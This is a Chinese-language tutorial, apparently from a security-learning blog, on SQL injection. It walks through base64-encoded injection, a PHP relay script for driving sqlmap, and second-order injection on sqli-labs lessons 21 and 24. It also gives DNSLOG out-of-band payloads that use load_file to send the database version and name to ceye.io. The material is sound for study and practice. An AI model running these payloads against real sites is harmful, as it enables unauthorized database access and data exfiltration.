加解密注入
知识点
- 即 get 或者 post 的参数采用了 base64 等加密方式将数据进行加密,在通过参数传递给服务器
- 一般加密大多都是 base64 加密
- MQ== (base64 解密为 1)
- inurl:id=MQ==
- 现实中许多网站中都有加密
例如
案例:sql-libs–21
- 其中 %3D 为 url 编码 2,实则 为 = ,前面的为 base64
- 对 YWRtaW4= 进行解密 得到值 admin
- 我们可以尝试在这里进行注入,将注入的 sql 语句经过 base64 加密之后放入 cookie
- 注入语句::uname=x’ or updatexml(1,concat(0x7e,(version())),0)or’
- 加密后注入语句:YWRtaW4nICBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwodmVyc2lvbigpKSksMCkgb3IgJw==
中转注入
- 实现了一个中转,sqlmap 在后面写入注入代码,通过 GET 参数去访问本地网页,然后本地网页把 sqlmap 提交的 GET 参数的内容进行 base64 加密,并且在目标网址后面进行拼接。从而达到非手工 base64 注入
- 如果网站注入点为 base64 编码可以如此,若为其他,可以修改 base64_decode
- 加解密注入的时候可以自己写脚本,通过 sqlmap 注入
- 首先在本地搭建一个网站,将上述代码写入其中
- 然后再进行 sqlmap 注入
- sqlmap -u ‘http://192.168.48.134/test.php/?x=’如此进行攻击实际上攻击的为 www.xxx.com/?id=x
- 代码:
[blockquote2 name=’ 解密网页提取转换 ‘]<?php
$url=’http://xxxx/job_bystjb/yjs_byszjs.asp?id=’;
$payload=base64_encode($_GET[‘x’]);
echo $payload;
$urls=$url.$payload;
file_get_contents($urls);
echo $urls;
?>[/blockquote2]
二次注入
知识点
- 二次注入可以理解为,构造恶意数据存储在数据库后,恶意数据被读取并进入到了 SQL 查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当 Web 程序调用存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。
- 实战情况需要搭配源码进行代码审计,扫描工具是扫不出来的!
- 利用注册用户等插入语句,将恶意代码插入数据库中,再执行查询等语句,将恶意代码与 sql 语句进行拼接执行,从而达到注入的目的。
原理
- 当用户注册了一个用户名为 admin’ and 1=1–+类似的语句,在注册时 sql 语句进行了单引号过滤,没有报错,写入数据库中。但当用户想修改用户名时,修改的 sql 语句 update 没有进行过滤,导致单引号闭合。就会产生注入
如注册代码:
- 修改密码时,预先存入的数据(‘#)在进行数据拼接的时,把后面的语句注释掉了!
- 实际中会对用户名长度进行限制,前端限制(自行修改突破)后端限制就 G 了
步骤
- 第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
- 第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验处理。
案例演示:sqli-libs–24
- 进入以后需要注册用户
我们已知有一个用户 admin,可以根据二次注入的思想,我们可以创建一个 admin’#的用户 , 密码 123456,之后可以进行更改密码等操作,那原来的 SQL 语句可能为
- update password=$new where username=$name and …..
- 填入参数后
- update user set pwd=’123456′ where username=’admin’#’
- 登录 admin’#,进行修改密码操作 , 将密码修改为 111111
尝试使用 admin 用户,密码 123456 登录
成功登录进去,我们在分析查看 php 源码
- 与我们分析的一样
- $sql = “UPDATE users SET PASSWORD=’$pass’ where username=’$username’ and password=’$curr_pass’ “;
DNSLOG 带外注入
知识点
- dnslog 注入也可以称之为 dns 带外查询,是一种注入姿势,可以通过查询相应的 dns 解析记录,来获取我们想要的数据。
- 带外注入是为了解决一些注入没有回显,也不能进行时间盲注的情况。
- dnslog 要有高权限,具有文件读写的权限才能进行,需要登陆 CEYE 平台
- 简单理解就是将查询出来的东西发送到这个 CEYE 上
- load_file 函数可以进行对外的读取。
- 因为自己写入的是一个 dns 地址,当 select 语句查询出当前版本号后,就会尝试对 dns 地址进行访问,然后 CYEC 就会记录下访问的信息。从而爆出版本号
dnslog 工具
- CEYE 平台:http://ceye.io/
https://github.com/ADOOO/DnslogSqlinj
注入语句
- id =1 and if((select load_file(concat(‘\\’,(select version()),’.yps772.ceye.io\abc’))),1,0、
- select * from users where id=1 and if((select load_file(concat(’\’,(select version()),’.jepxiv.ceye.ioabc’))),1,0);
- select * from users where id=1 and if((select load_file(concat(’\’,(select database()),’.jepxiv.ceye.ioabc’))),1,0);
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容